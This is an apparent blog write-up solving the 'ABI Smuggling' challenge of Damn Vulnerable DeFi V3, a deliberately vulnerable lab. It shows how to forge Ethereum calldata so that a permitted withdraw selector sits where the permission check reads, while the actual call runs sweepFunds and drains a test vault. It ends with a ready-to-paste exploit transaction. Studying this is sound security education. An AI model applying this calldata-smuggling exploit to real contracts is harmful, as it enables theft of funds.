Damn Vulnerable Defi V3 #15 ABI Smuggling solution
Tags: damnvulnerabledefi, abismuggling, ctf, solidity
Published: 2023-01-27 15:00:10

### TLDR: Solution is at the end, you can copy & paste it

In the test setup, we can see that two permissions are set

```javascript
const deployerPermission = await vault.getActionId('0x85fb709d', deployer.address, vault.address);
const playerPermission = await vault.getActionId('0xd9caed12', player.address, vault.address);
```

Deployer has the permission to access the function selector `0x85fb709d` which is `sweepFunds` function in SelfAuthorizedVault.sol
![signature of function](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eqavzz9p42zj41j8pc67.png)

The player, on the other hand, has access to the selector `0xd9caed12` which is `withdraw` function in SelfAuthorizedVault.sol.

Those two functions are protected with `onlyThis` modifiers, to prevent external access, meaning we can only call them through `execute`in AuthorizedExecutor.sol

To take funds, we need to pass the auth part.
```solidity
if (!permissions[getActionId(selector, msg.sender, target)]) {
  revert NotAllowed();
}
```
If we take a closer look at `getActionId` we can see that it uses `keccak256(abi.encodePacked(selector, executor, target))`

In our case, the player (msg.sender) is authorized only to to `withdraw`, but we want him to call `sweepFunds`.
We can accomplish that by altering call data.

First, let's take a look at how authorization of `execute` works.

```solidity
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
  // Read the 4-bytes selector at the beginning of `actionData`
  bytes4 selector;
  uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
  assembly {
    selector := calldataload(calldataOffset)
  }
```

This is telling us that the selector is 4 bytes at the offset 100 in calldata.

Let us craft our calldata by adding this code to abi-smuggling.challenge.js test
```javascript
const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
console.log('Full calldata:', data)
```

Here, we are calling execute, and passing in two parameters:
1. target address
2. bytes calldata (this calldata is actually call to `sweepFunds` encoded (function selector, address receiver + address token)

This will log to our console:

`0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000`

Now let us manually 'prettify' this calldata, and make it more human-readable.
(selector is between asterisks **selector**)

```markdown
// 4 byte selector for 'execute'
0x1cff79cd
// + 32-byte padded address (1. param of execute)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// + 32-byte calldata offset (Everything else is 2. param of execute)
0000000000000000000000000000000000000000000000000000000000000040
// + 32-byte calldata length
0000000000000000000000000000000000000000000000000000000000000044
// actual calldata, selector is starting at offset 100 from the start of the calldata
**85fb709d**0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
```

If we execute a transaction with this calldata

```javascript
const tx = {
  to: vault.address,
  value: 0,
  data: data,
  gasLimit: 500000
}
await player.sendTransaction(tx)
```
We will get a revert with `NotAllowed()`

Now let's modify our calldata and recover the funds.

Because our second parameter is dynamic data(bytes), we need to learn more about how it is encoded.

### ABI encoding of dynamic types (bytes, strings)

In the ABI Standard, dynamic types are encoded the following way:

1. The offset of the dynamic data
2. The length of the dynamic data
3. The actual value of the dynamic data. 

```
Memory loc      Data
0x00            0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20            000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40            48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
```

If you hex decode `48656c6c6f2c20776f726c6421` you will get "Hello, world!".

Finally, let us modify our calldata so that we can return the funds to `recovery.address`.


```markdown
// execute selector
0x1cff79cd
// vault.address (first 32 bytes)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// offset -> start of the calldata (128 bytes in decimal - 4 x 32 bytes) (second 32 bytes)
0000000000000000000000000000000000000000000000000000000000000080
// empty data (third 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000
// we inserted the selector at offset 100 from the start of entire calldata (fourth 32 bytes)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// start of the calldata (calldata length) (0x44 = 128 in decimal) 4x32 bytes = 0x80 = 128 offset
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
```

So we planted `d9caed12` in calldata so that the contract authorizes us, but by manipulating calldata, we are skipping that part in the actual code execution in external call.

### Final code

```javascript
    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await player.sendTransaction({
            to: vault.address,
            data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000"
        })
    });
```